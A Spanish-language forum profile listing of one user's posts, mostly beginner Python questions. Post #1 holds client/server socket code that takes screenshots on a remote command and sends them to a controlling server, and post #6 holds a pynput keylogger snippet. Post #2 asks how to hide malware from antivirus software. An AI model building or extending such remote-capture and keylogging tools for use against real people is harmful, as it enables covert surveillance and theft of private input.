Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - painpills

#1
Estuve creando un cliente y servidor, el código que estoy dejando es el del cliente, que se conecta a al servidor y luego se queda a la escucha de una orden, la única a la que responde ahora mismo es a la de tomar un screenshot y enviarla hacia al servidor, al principio el servidor nunca dejaba de recibir información por lo que se quedaba trabado, luego investigando descubrí la instrucción shutdown() que le indicaba al servidor que ya no estaba recibiendo información así podía recibir la imagen e ingresar otra orden. Mi problema es que s.shutdown(socket.SHUT_WR) lo que hace es cerrar uno de los lados de la conexión impidiéndole al cliente enviar información a través del socket así que cuando nuevamente doy la orden de tomar un screenshot el cliente la recibe pero no puede enviar la imagen, saben alguna solución o una forma de "reabrir" el socket para nuevamente enviar información hacia al servidor?



import socket
import pyscreenshot




HOST = 'localhost'
PORT = 4444

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

print('Conexión establecida')

while True:
orden = s.recv(1024)

if orden == b'screenshot':
#tomo un pantallazo y lo guardo en formato png

img = pyscreenshot.grab()
img.save("captura.png")

#abro la imagen en modo lectura binaria para enviarla

f = open("captura.png", "rb")
imagen = f.read()

while imagen:
s.send(imagen)
imagen = f.read()

# se termina el envio de la imagen

print("Imagen enviada")
s.shutdown(socket.SHUT_WR)
f.close()
del(f)




Dejo también el código del servidor, por si sirve de algo


import socket
import datetime

fechayhora = datetime.datetime.now().strftime('%Y-%m-%d %H-%M-%S')



HOST = 'localhost'
PORT = 4444

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen()

print('Servidor a la escucha...')

conn, addr = socket.accept()

print('Conexión entrante de ' + str(addr))

with conn:

while True:
orden = input('Ingresa una orden: ')
orden = orden.lower()

if orden == 'screenshot':
conn.send(b'screenshot')

#recibo la imagen enviada desde el cliente
f = open('capturas\\screenshot_' + str(fechayhora) + '.png', 'wb')
imagen = conn.recv(1024)

while imagen:

f.write(imagen)
imagen = conn.recv(1024)


f.close()
print('Imagen recibida')


elif orden == 'salir':
quit()
#2
Hacking / Cómo ocultar malware?
4 Julio 2021, 08:01 AM
Como puedo ocultar programas ante un antivirus? puede que sea cuestión de ingenio, pero supongo que también habrá algunos conocimientos base de los cuales partir, que me recomendarían estudiar o investigar? No sé por donde empezar   :-\
#3
Muchísimas gracias a ambos por sus respuestas, estuve esperando, ahora ya sé en que debo enfocarme
#4
Estuve leyendo sobre sockets, y lo que pude entender es que sirven para crear un enlace entre una aplicación cliente y otra servidor, pongamos como ejemplo que yo creo un programa con python que tiene como función tomar screenshots, pero no quiero que lo haga de forma periódica sino por una orden en un panel de control desde otra computadora, el aprender sobre sockets me ayudaría a crear una aplicación así o estoy equivocado? :P
#5
Si se trata de algún problema relacionado con el pyinstaller lo más sencillo sería buscar una alternativa como por ejemplo "cx_Freeze", Esa opción te permite generar ejecutables aunque utilices librerías de terceros cosa que no puedes hacer con pyinstaller, según yo.

Saludos!  ;-)
#6
Hola, estuve intentando hacer un keylogger utilizando pynput, y funciona perfectamente, la cosa es que tengo pensado que las pulsaciones se guarden en un archivo externo, pero no he podido retirar las comillas de las teclas que registra el Keylogger.



from pynput import keyboard

def on_press(key):
key = str(key)
key.replace("'", "")
print(key)



with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()


creí saber como se hacía, siempre utilizo replace() pero esta vez las teclas que presiono siguen imprimiéndose en consola con las comillas y también se guardan así cuando intento ponerlas en un archivo externo, saben a que se puede deber? O conocen otra forma para retirar las comillas?  :P
#7
Scripting / Re: Error de selenium - Python
17 Junio 2021, 22:13 PM
Cita de: Serapis en 17 Junio 2021, 16:35 PM
Muchos lenguajes utilizan el carácter '\' como un carácter de 'escape', cuando es así, y  el string contiene como parte del string ese mismo carácter, debe remplazarse por doble barra '\\' entonces al hacer el parsing del string se reconocen si forman pares contínuos como el propio carácter y 1 solo contínuo como el carácter de escape y podrá procesar el string correctamente.

Esa regla se aplica también a las cadenas que van entre comillas simples o dobles:
'casa's del monte' tendría que escribirse como 'casas''del monte'.
"caso del "monte"", tendría que escribirse como: "caso del ""monte""".

Hay que conocer al detalle la especificación del lenguaje para reconocer cuando se espera. Es frecuente que aún cuando un lenguaje no lo utilice expresamente, sí lo requiera alguna extensión/librería a la que se invoca desde el propio lenguaje usado, en cuyo caso la documentación de dicha extensión/librería lo explicará explícitamente.

Decidí mover el chromedriver al mismo directorio del archivo .py que estoy ejecutando, así podría podría especificar esa ruta sin la necesidad de "/" o "\"  ya que tal vez no se utilizar esos caracteres como es debido, el código quedaría resumido a:


from selenium import webdriver

driver = webdriver.Chrome('chromedriver.exe')
driver.get('https://www.google.com/')



Sigue apareciendo el mismo error, estoy utilizando la versión de python 3.8.8  y la de chromedriver 91.0.4472.101

#8
Scripting / Error de selenium - Python
17 Junio 2021, 11:22 AM
"Unknow error unable to discover open pages"

Es ese el error que me aparece en consola luego de ejecutar mi programa.

Hace unos días que quise empezar a hacer ejercicios de web scraping con python y selenium porque por lo que leí es la opción más completa y fácil de aprender pero lo único que he conseguido es que se abra una ventana de Google Chrome, luego de eso se cierra y aparece el error en consola sin haber accedido a la url que le indico.

https://ibb.co/p4BKkCF (dejo aquí un link hacia la imagen de lo que aparece en consola, no sé bien si hay otra forma de insertar imágenes aquí)

Me aseguré que la versión de webdrive que descargué fuera la indicada para mi navegador intenté incluso con cosas que seguramente no tenían nada que ver con el problema, actualicé pip y reinstale selenium y nada.  :-\

https://ibb.co/y8F35XH (este es el código que escribí)
#9
GNU/Linux / Re: No me deja instalar ubuntu
1 Mayo 2020, 01:07 AM
Deberías dar mas detalles para poder ayudarte, realmente no dices mucho con eso. De qué se trata el error? que pasa cuando lo instalas? si directamente pudieses grabar pues no estaría mal
#10
GNU/Linux / Re: No me deja instalar ubuntu
29 Abril 2020, 12:52 PM
que problema presentas? Te refieres a que te da un error durante la instalación o que no sabes como instalarlo?